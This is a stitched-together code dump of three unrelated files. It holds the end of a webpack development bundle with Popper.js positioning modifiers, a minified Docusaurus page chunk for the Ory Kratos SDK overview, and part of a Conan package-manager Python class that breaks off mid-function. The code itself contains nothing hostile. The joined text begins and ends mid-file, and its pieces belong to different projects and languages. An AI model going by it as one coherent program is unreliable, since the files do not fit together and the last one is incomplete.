Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction inner(data) {\n var placement = data.placement;\n var basePlacement = placement.split('-')[0];\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n data.placement = getOppositePlacement(placement);\n data.offsets.popper = getClientRect(popper);\n\n return data;\n}\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nvar modifiers = {\n /**\n * Modifier used to shift the popper on the start or end of its reference\n * element.<br />\n * It will read the variation of the `placement` property.<br />\n * It can be one either `-end` or `-start`.\n * @memberof modifiers\n * @inner\n */\n shift: {\n /** @prop {number} order=100 - Index used to define the order of execution */\n order: 100,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: shift\n },\n\n /**\n * The `offset` modifier can shift your popper on both its axis.\n *\n * It accepts the following units:\n * - `px` or unit-less, interpreted as pixels\n * - `%` or `%r`, percentage relative to the length of the reference element\n * - `%p`, percentage relative to the length of the popper element\n * - `vw`, CSS viewport width unit\n * - `vh`, CSS viewport height unit\n *\n * For length is intended the main axis relative to the placement of the popper.<br />\n * This means that if the placement is `top` or `bottom`, the length will be the\n * `width`. In case of `left` or `right`, it will be the `height`.\n *\n * You can provide a single value (as `Number` or `String`), or a pair of values\n * as `String` divided by a comma or one (or more) white spaces.<br />\n * The latter is a deprecated method because it leads to confusion and will be\n * removed in v2.<br />\n * Additionally, it accepts additions and subtractions between different units.\n * Note that multiplications and divisions aren't supported.\n *\n * Valid examples are:\n * ```\n * 10\n * '10%'\n * '10, 10'\n * '10%, 10'\n * '10 + 10%'\n * '10 - 5vh + 3%'\n * '-10px + 5vh, 5px - 6%'\n * ```\n * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).\n *\n * @memberof modifiers\n * @inner\n */\n offset: {\n /** @prop {number} order=200 - Index used to define the order of execution */\n order: 200,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: offset,\n /** @prop {Number|String} offset=0\n * The offset value as described in the modifier description\n */\n offset: 0\n },\n\n /**\n * Modifier used to prevent the popper from being positioned outside the boundary.\n *\n * A scenario exists where the reference itself is not within the boundaries.<br />\n * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n * In this case we need to decide whether the popper should either:\n *\n * - detach from the reference and remain \"trapped\" in the boundaries, or\n * - if it should ignore the boundary and \"escape with its reference\"\n *\n * When `escapeWithReference` is set to`true` and reference is completely\n * outside its boundaries, the popper will overflow (or completely leave)\n * the boundaries in order to remain attached to the edge of the reference.\n *\n * @memberof modifiers\n * @inner\n */\n preventOverflow: {\n /** @prop {number} order=300 - Index used to define the order of execution */\n order: 300,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: preventOverflow,\n /**\n * @prop {Array} [priority=['left','right','top','bottom']]\n * Popper will try to prevent overflow following these priorities by default,\n * then, it could overflow on the left and on top of the `boundariesElement`\n */\n priority: ['left', 'right', 'top', 'bottom'],\n /**\n * @prop {number} padding=5\n * Amount of pixel used to define a minimum distance between the boundaries\n * and the popper. This makes sure the popper always has a little padding\n * between the edges of its container\n */\n padding: 5,\n /**\n * @prop {String|HTMLElement} boundariesElement='scrollParent'\n * Boundaries used by the modifier. Can be `scrollParent`, `window`,\n * `viewport` or any DOM element.\n */\n boundariesElement: 'scrollParent'\n },\n\n /**\n * Modifier used to make sure the reference and its popper stay near each other\n * without leaving any gap between the two. Especially useful when the arrow is\n * enabled and you want to ensure that it points to its reference element.\n * It cares only about the first axis. You can still have poppers with margin\n * between the popper and its reference element.\n * @memberof modifiers\n * @inner\n */\n keepTogether: {\n /** @prop {number} order=400 - Index used to define the order of execution */\n order: 400,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: keepTogether\n },\n\n /**\n * This modifier is used to move the `arrowElement` of the popper to make\n * sure it is positioned between the reference element and its popper element.\n * It will read the outer size of the `arrowElement` node to detect how many\n * pixels of conjunction are needed.\n *\n * It has no effect if no `arrowElement` is provided.\n * @memberof modifiers\n * @inner\n */\n arrow: {\n /** @prop {number} order=500 - Index used to define the order of execution */\n order: 500,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: arrow,\n /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n element: '[x-arrow]'\n },\n\n /**\n * Modifier used to flip the popper's placement when it starts to overlap its\n * reference element.\n *\n * Requires the `preventOverflow` modifier before it in order to work.\n *\n * **NOTE:** this modifier will interrupt the current update cycle and will\n * restart it if it detects the need to flip the placement.\n * @memberof modifiers\n * @inner\n */\n flip: {\n /** @prop {number} order=600 - Index used to define the order of execution */\n order: 600,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: flip,\n /**\n * @prop {String|Array} behavior='flip'\n * The behavior used to change the popper's placement. It can be one of\n * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n * placements (with optional variations)\n */\n behavior: 'flip',\n /**\n * @prop {number} padding=5\n * The popper will flip if it hits the edges of the `boundariesElement`\n */\n padding: 5,\n /**\n * @prop {String|HTMLElement} boundariesElement='viewport'\n * The element which will define the boundaries of the popper position.\n * The popper will never be placed outside of the defined boundaries\n * (except if `keepTogether` is enabled)\n */\n boundariesElement: 'viewport'\n },\n\n /**\n * Modifier used to make the popper flow toward the inner of the reference element.\n * By default, when this modifier is disabled, the popper will be placed outside\n * the reference element.\n * @memberof modifiers\n * @inner\n */\n inner: {\n /** @prop {number} order=700 - Index used to define the order of execution */\n order: 700,\n /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n enabled: false,\n /** @prop {ModifierFn} */\n fn: inner\n },\n\n /**\n * Modifier used to hide the popper when its reference element is outside of the\n * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n * be used to hide with a CSS selector the popper when its reference is\n * out of boundaries.\n *\n * Requires the `preventOverflow` modifier before it in order to work.\n * @memberof modifiers\n * @inner\n */\n hide: {\n /** @prop {number} order=800 - Index used to define the order of execution */\n order: 800,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: hide\n },\n\n /**\n * Computes the style that will be applied to the popper element to gets\n * properly positioned.\n *\n * Note that this modifier will not touch the DOM, it just prepares the styles\n * so that `applyStyle` modifier can apply it. This separation is useful\n * in case you need to replace `applyStyle` with a custom implementation.\n *\n * This modifier has `850` as `order` value to maintain backward compatibility\n * with previous versions of Popper.js. Expect the modifiers ordering method\n * to change in future major versions of the library.\n *\n * @memberof modifiers\n * @inner\n */\n computeStyle: {\n /** @prop {number} order=850 - Index used to define the order of execution */\n order: 850,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: computeStyle,\n /**\n * @prop {Boolean} gpuAcceleration=true\n * If true, it uses the CSS 3D transformation to position the popper.\n * Otherwise, it will use the `top` and `left` properties\n */\n gpuAcceleration: true,\n /**\n * @prop {string} [x='bottom']\n * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n * Change this if your popper should grow in a direction different from `bottom`\n */\n x: 'bottom',\n /**\n * @prop {string} [x='left']\n * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n * Change this if your popper should grow in a direction different from `right`\n */\n y: 'right'\n },\n\n /**\n * Applies the computed styles to the popper element.\n *\n * All the DOM manipulations are limited to this modifier. This is useful in case\n * you want to integrate Popper.js inside a framework or view library and you\n * want to delegate all the DOM manipulations to it.\n *\n * Note that if you disable this modifier, you must make sure the popper element\n * has its position set to `absolute` before Popper.js can do its work!\n *\n * Just disable this modifier and define your own to achieve the desired effect.\n *\n * @memberof modifiers\n * @inner\n */\n applyStyle: {\n /** @prop {number} order=900 - Index used to define the order of execution */\n order: 900,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: applyStyle,\n /** @prop {Function} */\n onLoad: applyStyleOnLoad,\n /**\n * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n * @prop {Boolean} gpuAcceleration=true\n * If true, it uses the CSS 3D transformation to position the popper.\n * Otherwise, it will use the `top` and `left` properties\n */\n gpuAcceleration: undefined\n }\n};\n\n/**\n * The `dataObject` is an object containing all the information used by Popper.js.\n * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overridden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass an object with the same\n * structure of the `options` object, as the 3rd argument. For example:\n * ```\n * new Popper(ref, pop, {\n * modifiers: {\n * preventOverflow: { enabled: false }\n * }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nvar Defaults = {\n /**\n * Popper's placement.\n * @prop {Popper.placements} placement='bottom'\n */\n placement: 'bottom',\n\n /**\n * Set this to true if you want popper to position it self in 'fixed' mode\n * @prop {Boolean} positionFixed=false\n */\n positionFixed: false,\n\n /**\n * Whether events (resize, scroll) are initially enabled.\n * @prop {Boolean} eventsEnabled=true\n */\n eventsEnabled: true,\n\n /**\n * Set to true if you want to automatically remove the popper when\n * you call the `destroy` method.\n * @prop {Boolean} removeOnDestroy=false\n */\n removeOnDestroy: false,\n\n /**\n * Callback called when the popper is created.<br />\n * By default, it is set to no-op.<br />\n * Access Popper.js instance with `data.instance`.\n * @prop {onCreate}\n */\n onCreate: function onCreate() {},\n\n /**\n * Callback called when the popper is updated. This callback is not called\n * on the initialization/creation of the popper, but only on subsequent\n * updates.<br />\n * By default, it is set to no-op.<br />\n * Access Popper.js instance with `data.instance`.\n * @prop {onUpdate}\n */\n onUpdate: function onUpdate() {},\n\n /**\n * List of modifiers used to modify the offsets before they are applied to the popper.\n * They provide most of the functionalities of Popper.js.\n * @prop {modifiers}\n */\n modifiers: modifiers\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n\n// Utils\n// Methods\nvar Popper = function () {\n /**\n * Creates a new Popper.js instance.\n * @class Popper\n * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as the popper\n * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n * @return {Object} instance - The generated Popper.js instance\n */\n function Popper(reference, popper) {\n var _this = this;\n\n var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};\n classCallCheck(this, Popper);\n\n this.scheduleUpdate = function () {\n return requestAnimationFrame(_this.update);\n };\n\n // make update() debounced, so that it only runs at most once-per-tick\n this.update = debounce(this.update.bind(this));\n\n // with {} we create a new object with the options inside it\n this.options = _extends({}, Popper.Defaults, options);\n\n // init state\n this.state = {\n isDestroyed: false,\n isCreated: false,\n scrollParents: []\n };\n\n // get reference and popper elements (allow jQuery wrappers)\n this.reference = reference && reference.jquery ? reference[0] : reference;\n this.popper = popper && popper.jquery ? popper[0] : popper;\n\n // Deep merge modifiers options\n this.options.modifiers = {};\n Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {\n _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});\n });\n\n // Refactoring modifiers' list (Object => Array)\n this.modifiers = Object.keys(this.options.modifiers).map(function (name) {\n return _extends({\n name: name\n }, _this.options.modifiers[name]);\n })\n // sort the modifiers by order\n .sort(function (a, b) {\n return a.order - b.order;\n });\n\n // modifiers have the ability to execute arbitrary code when Popper.js get inited\n // such code is executed in the same order of its modifier\n // they could add new properties to their options configuration\n // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n this.modifiers.forEach(function (modifierOptions) {\n if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);\n }\n });\n\n // fire the first update to position the popper in the right place\n this.update();\n\n var eventsEnabled = this.options.eventsEnabled;\n if (eventsEnabled) {\n // setup event listeners, they will take care of update the position in specific situations\n this.enableEventListeners();\n }\n\n this.state.eventsEnabled = eventsEnabled;\n }\n\n // We can't use class properties because they don't get listed in the\n // class prototype and break stuff like Sinon stubs\n\n\n createClass(Popper, [{\n key: 'update',\n value: function update$$1() {\n return update.call(this);\n }\n }, {\n key: 'destroy',\n value: function destroy$$1() {\n return destroy.call(this);\n }\n }, {\n key: 'enableEventListeners',\n value: function enableEventListeners$$1() {\n return enableEventListeners.call(this);\n }\n }, {\n key: 'disableEventListeners',\n value: function disableEventListeners$$1() {\n return disableEventListeners.call(this);\n }\n\n /**\n * Schedules an update. It will run on the next UI update available.\n * @method scheduleUpdate\n * @memberof Popper\n */\n\n\n /**\n * Collection of utilities useful when writing custom modifiers.\n * Starting from version 1.7, this method is available only if you\n * include `popper-utils.js` before `popper.js`.\n *\n * **DEPRECATION**: This way to access PopperUtils is deprecated\n * and will be removed in v2! Use the PopperUtils module directly instead.\n * Due to the high instability of the methods contained in Utils, we can't\n * guarantee them to follow semver. Use them at your own risk!\n * @static\n * @private\n * @type {Object}\n * @deprecated since version 1.8\n * @member Utils\n * @memberof Popper\n */\n\n }]);\n return Popper;\n}();\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10.\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n\n\nPopper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\nPopper.placements = placements;\nPopper.Defaults = Defaults;\n\n/* harmony default export */ __webpack_exports__[\"default\"] = (Popper);\n//# sourceMappingURL=popper.js.map\n\n/* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../../webpack/buildin/global.js */ \"./node_modules/webpack/buildin/global.js\")))\n\n//# sourceURL=webpack:///./node_modules/popper.js/dist/esm/popper.js?");
/***/ }),
/***/ "./node_modules/webpack/buildin/global.js":
/*!***********************************!*\
!*** (webpack)/buildin/global.js ***!
\***********************************/
/*! no static exports found */
/***/ (function(module, exports) {
eval("var g;\r\n\r\n// This works in non-strict mode\r\ng = (function() {\r\n\treturn this;\r\n})();\r\n\r\ntry {\r\n\t// This works if eval is allowed (see CSP)\r\n\tg = g || Function(\"return this\")() || (1, eval)(\"this\");\r\n} catch (e) {\r\n\t// This works if the window reference is available\r\n\tif (typeof window === \"object\") g = window;\r\n}\r\n\r\n// g can still be undefined, but nothing to do about it...\r\n// We return undefined, instead of nothing here, so it's\r\n// easier to handle this case. if(!global) { ...}\r\n\r\nmodule.exports = g;\r\n\n\n//# sourceURL=webpack:///(webpack)/buildin/global.js?");
/***/ }),
/***/ "./src/js/load_css.js":
/*!****************************!*\
!*** ./src/js/load_css.js ***!
\****************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"default\", function() { return unhide_webpage; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"./node_modules/jquery/dist/jquery.js\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\nfunction unhide_webpage() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).ready(function(){\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"body\").removeClass('hide')\n });\n console.log('hej');\n}\n\n//# sourceURL=webpack:///./src/js/load_css.js?");
/***/ }),
/***/ "./src/main.js":
/*!*********************!*\
!*** ./src/main.js ***!
\*********************/
/*! no exports provided */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
eval("__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var _scss_main_scss__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./scss/main.scss */ \"./src/scss/main.scss\");\n/* harmony import */ var _scss_main_scss__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_scss_main_scss__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var bootstrap__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! bootstrap */ \"./node_modules/bootstrap/dist/js/bootstrap.js\");\n/* harmony import */ var bootstrap__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(bootstrap__WEBPACK_IMPORTED_MODULE_1__);\n/* harmony import */ var _js_load_css__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/load_css */ \"./src/js/load_css.js\");\n\n\n\n\n\nObject(_js_load_css__WEBPACK_IMPORTED_MODULE_2__[\"default\"])();\n\n//# sourceURL=webpack:///./src/main.js?");
/***/ }),
/***/ "./src/scss/main.scss":
/*!****************************!*\
!*** ./src/scss/main.scss ***!
\****************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
eval("module.exports = __webpack_require__.p + \"css/main.css\";\n\n//# sourceURL=webpack:///./src/scss/main.scss?");
/***/ }),
/***/ 0:
/*!***************************!*\
!*** multi ./src/main.js ***!
\***************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
eval("module.exports = __webpack_require__(/*! /home/jakobjulelben/VSCode/hugopersonal/src/main.js */\"./src/main.js\");\n\n\n//# sourceURL=webpack:///multi_./src/main.js?");
/***/ })
/******/ }); |
(window.webpackJsonp=window.webpackJsonp||[]).push([[81],{156:function(e,t,r){"use strict";r.r(t),r.d(t,"frontMatter",(function(){return i})),r.d(t,"metadata",(function(){return s})),r.d(t,"toc",(function(){return c})),r.d(t,"default",(function(){return l}));var n=r(3),a=r(8),o=(r(0),r(550)),i={id:"sdk",title:"SDKs",sidebar_label:"Overview"},s={unversionedId:"sdk",id:"version-v0.5/sdk",isDocsHomePage:!1,title:"SDKs",description:"All SDKs use automated code generation provided by",source:"@site/versioned_docs/version-v0.5/sdk.md",sourceDirName:".",slug:"/sdk",permalink:"/kratos/docs/v0.5/sdk",editUrl:"https://github.com/ory/kratos/edit/master/docs/versioned_docs/version-v0.5/sdk.md",version:"v0.5",lastUpdatedBy:"Vincent",lastUpdatedAt:1617269699,formattedLastUpdatedAt:"4/1/2021",sidebar_label:"Overview",frontMatter:{id:"sdk",title:"SDKs",sidebar_label:"Overview"},sidebar:"version-v0.5/docs",previous:{title:"Performance Problems and Out Of Memory Panics Caused by Password Hashing",permalink:"/kratos/docs/v0.5/debug/performance-out-of-memory-password-hashing-argon2"},next:{title:"Milestones and Roadmap",permalink:"/kratos/docs/v0.5/milestones"}},c=[],p={toc:c};function l(e){var t=e.components,r=Object(a.a)(e,["components"]);return Object(o.b)("wrapper",Object(n.a)({},p,r,{components:t,mdxType:"MDXLayout"}),Object(o.b)("p",null,"All SDKs use automated code generation provided by\n",Object(o.b)("a",{parentName:"p",href:"https://github.com/OpenAPITools/openapi-generator"},Object(o.b)("inlineCode",{parentName:"a"},"openapi-generator")),".\nUnfortunately, ",Object(o.b)("inlineCode",{parentName:"p"},"openapi-generator")," has serious breaking changes in the generated\ncode when upgrading versions. Therefore, we do not make backwards compatibility\npromises with regards to the generated SDKs. We hope to improve this process in\nthe future."),Object(o.b)("p",null,"Before you check out the SDKs, head over to the ",Object(o.b)("a",{parentName:"p",href:"reference/api"},"REST API"),"\ndocumentation documentation which includes code samples for common programming\nlanguages for each REST endpoint."),Object(o.b)("p",null,"We publish our SDKs for popular languages in their respective package\nrepositories:"),Object(o.b)("ul",null,Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://pub.dev/packages/ory_kratos_client"},"Dart")),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://www.nuget.org/packages/Ory.Kratos.Client/"},".NET")),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://github.com/ory/kratos-client-go"},"Go")),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://search.maven.org/artifact/sh.ory.kratos/kratos-client"},"Java")),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://www.npmjs.com/package/@ory/kratos-client"},"JavaScript")," with TypeScript\ndefinitions and compatible with: NodeJS, ReactJS, AnuglarJS, Vue.js, and many\nmore."),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://packagist.org/packages/ory/kratos-client"},"PHP")),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://pypi.org/project/ory-kratos-client/"},"Python")),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://rubygems.org/gems/ory-kratos-client"},"Ruby")),Object(o.b)("li",{parentName:"ul"},Object(o.b)("a",{parentName:"li",href:"https://crates.io/crates/ory-kratos-client"},"Rust"))),Object(o.b)("p",null,"Take a look at the source:\n",Object(o.b)("a",{parentName:"p",href:"https://github.com/ory/sdk/tree/master/clients/kratos/"},"Generated SDKs for Ory Kratos")),Object(o.b)("p",null,"Missing your programming language?\n",Object(o.b)("a",{parentName:"p",href:"https://github.com/ory/kratos/issues"},"Create an issue")," and help us build, test\nand publish the SDK for your programming language!"))}l.isMDXComponent=!0},550:function(e,t,r){"use strict";r.d(t,"a",(function(){return u})),r.d(t,"b",(function(){return m}));var n=r(0),a=r.n(n);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function i(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function s(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?i(Object(r),!0).forEach((function(t){o(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):i(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function c(e,t){if(null==e)return{};var r,n,a=function(e,t){if(null==e)return{};var r,n,a={},o=Object.keys(e);for(n=0;n<o.length;n++)r=o[n],t.indexOf(r)>=0||(a[r]=e[r]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(n=0;n<o.length;n++)r=o[n],t.indexOf(r)>=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(a[r]=e[r])}return a}var p=a.a.createContext({}),l=function(e){var t=a.a.useContext(p),r=t;return e&&(r="function"==typeof e?e(t):s(s({},t),e)),r},u=function(e){var t=l(e.components);return a.a.createElement(p.Provider,{value:t},e.children)},b={inlineCode:"code",wrapper:function(e){var t=e.children;return a.a.createElement(a.a.Fragment,{},t)}},d=a.a.forwardRef((function(e,t){var r=e.components,n=e.mdxType,o=e.originalType,i=e.parentName,p=c(e,["components","mdxType","originalType","parentName"]),u=l(r),d=n,m=u["".concat(i,".").concat(d)]||u[d]||b[d]||o;return r?a.a.createElement(m,s(s({ref:t},p),{},{components:r})):a.a.createElement(m,s({ref:t},p))}));function m(e,t){var r=arguments,n=t&&t.mdxType;if("string"==typeof e||n){var o=r.length,i=new Array(o);i[0]=d;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s.mdxType="string"==typeof e?e:n,i[1]=s;for(var p=2;p<o;p++)i[p]=r[p];return a.a.createElement.apply(null,i)}return a.a.createElement.apply(null,r)}d.displayName="MDXCreateElement"}}]); |
import os
from conans.client.graph.graph import (BINARY_BUILD, BINARY_CACHE, BINARY_DOWNLOAD, BINARY_MISSING,
BINARY_SKIP, BINARY_UPDATE, BINARY_WORKSPACE)
from conans.client.output import ScopedOutput
from conans.errors import NoRemoteAvailable, NotFoundException
from conans.model.info import ConanInfo
from conans.model.manifest import FileTreeManifest
from conans.model.ref import PackageReference
from conans.util.env_reader import get_env
from conans.util.files import is_dirty, rmdir
class GraphBinariesAnalyzer(object):
def __init__(self, client_cache, output, remote_manager, workspace):
self._client_cache = client_cache
self._out = output
self._remote_manager = remote_manager
self._registry = client_cache.registry
self._workspace = workspace
def _get_package_info(self, package_ref, remote):
try:
remote_info = self._remote_manager.get_package_info(package_ref, remote)
return remote_info
except (NotFoundException, NoRemoteAvailable): # 404 or no remote
return False
def _check_update(self, package_folder, package_ref, remote, output, node):
revisions_enabled = get_env("CONAN_CLIENT_REVISIONS_ENABLED", False)
if revisions_enabled:
metadata = self._client_cache.load_metadata(package_ref.conan)
rec_rev = metadata.packages[package_ref.package_id].recipe_revision
if rec_rev != node.conan_ref.revision:
output.warn("Outdated package! The package doesn't belong "
"to the installed recipe revision: %s" % str(package_ref))
try: # get_conan_digest can fail, not in server
# FIXME: This can iterate remotes to get and associate in registry
if not revisions_enabled and not node.revision_pinned:
# Compatibility mode and user hasn't specified the revision, so unlock
# it to find any binary for any revision
package_ref = package_ref.copy_clear_rev()
upstream_manifest = self._remote_manager.get_package_manifest(package_ref, remote)
except NotFoundException:
output.warn("Can't update, no package in remote")
except NoRemoteAvailable:
output.warn("Can't update, no remote defined")
else:
read_manifest = FileTreeManifest.load(package_folder)
if upstream_manifest != read_manifest:
if upstream_manifest.time > read_manifest.time:
output.warn("Current package is older than remote upstream one")
node.update_manifest = upstream_manifest
return True
else:
output.warn("Current package is newer than remote upstream one")
def _evaluate_node(self, node, build_mode, update, evaluated_references, remote_name):
assert node.binary is None
conan_ref, conanfile = node.conan_ref, node.conanfile
revisions_enabled = get_env("CONAN_CLIENT_REVISIONS_ENABLED", False)
package_id = conanfile.info.package_id()
package_ref = PackageReference(conan_ref, package_id)
# Check that this same reference hasn't already been checked
previous_node = evaluated_references.get(package_ref)
if previous_node:
node.binary = previous_node.binary
node.binary_remote = previous_node.binary_remote
return
evaluated_references[package_ref] = node
output = ScopedOutput(str(conan_ref), self._out)
if build_mode.forced(conanfile, conan_ref):
output.warn('Forced build from source')
node.binary = BINARY_BUILD
return
package_folder = self._client_cache.package(package_ref,
short_paths=conanfile.short_paths)
# Check if dirty, to remove it
local_project = self._workspace[conan_ref] if self._workspace else None
if local_project:
node.binary = BINARY_WORKSPACE
return
with self._client_cache.package_lock(package_ref):
if is_dirty(package_folder):
output.warn("Package is corrupted, removing folder: %s" % package_folder)
rmdir(package_folder)
if remote_name:
remote = self._registry.remotes.get(remote_name)
else:
# If the remote_name is not given, follow the binary remote, or
# the recipe remote
# If it is defined it won't iterate (might change in conan2.0)
remote = self._registry.prefs.get(package_ref) or self._registry.refs.get(conan_ref)
remotes = self._registry.remotes.list
if os.path.exists(package_folder):
if update:
if remote:
if self._check_update(package_folder, package_ref, remote, output, node):
node.binary = BINARY_UPDATE
if build_mode.outdated:
package_hash = self._get_package_info(package_ref, remote).recipe_hash
elif remotes:
pass
else:
output.warn("Can't update, no remote defined")
if not node.binary:
node.binary = BINARY_CACHE
package_hash = ConanInfo.load_from_package(package_folder).recipe_hash
else: # Binary does NOT exist locally
